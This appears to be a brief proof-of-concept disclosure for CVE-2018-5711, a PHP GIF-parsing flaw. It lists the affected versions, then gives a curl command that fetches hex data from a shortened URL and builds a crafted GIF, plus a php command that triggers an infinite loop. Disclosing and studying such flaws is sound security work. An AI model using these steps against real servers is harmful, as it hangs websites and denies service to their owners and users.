CVE-2018-5711 - Hanging Websites by a Harmful GIF
Author : Orange Tsai
Affected
- PHP 5<5.6.33
- PHP 7.0<7.0.27
- PHP 7.1<7.1.13
- PHP 7.2<7.2.1
POC
$ curl -L https://git.io/vN0n4 | xxd -r > poc.gif
$ php -r 'imagecreatefromgif("poc.gif");'
Infinite loop here...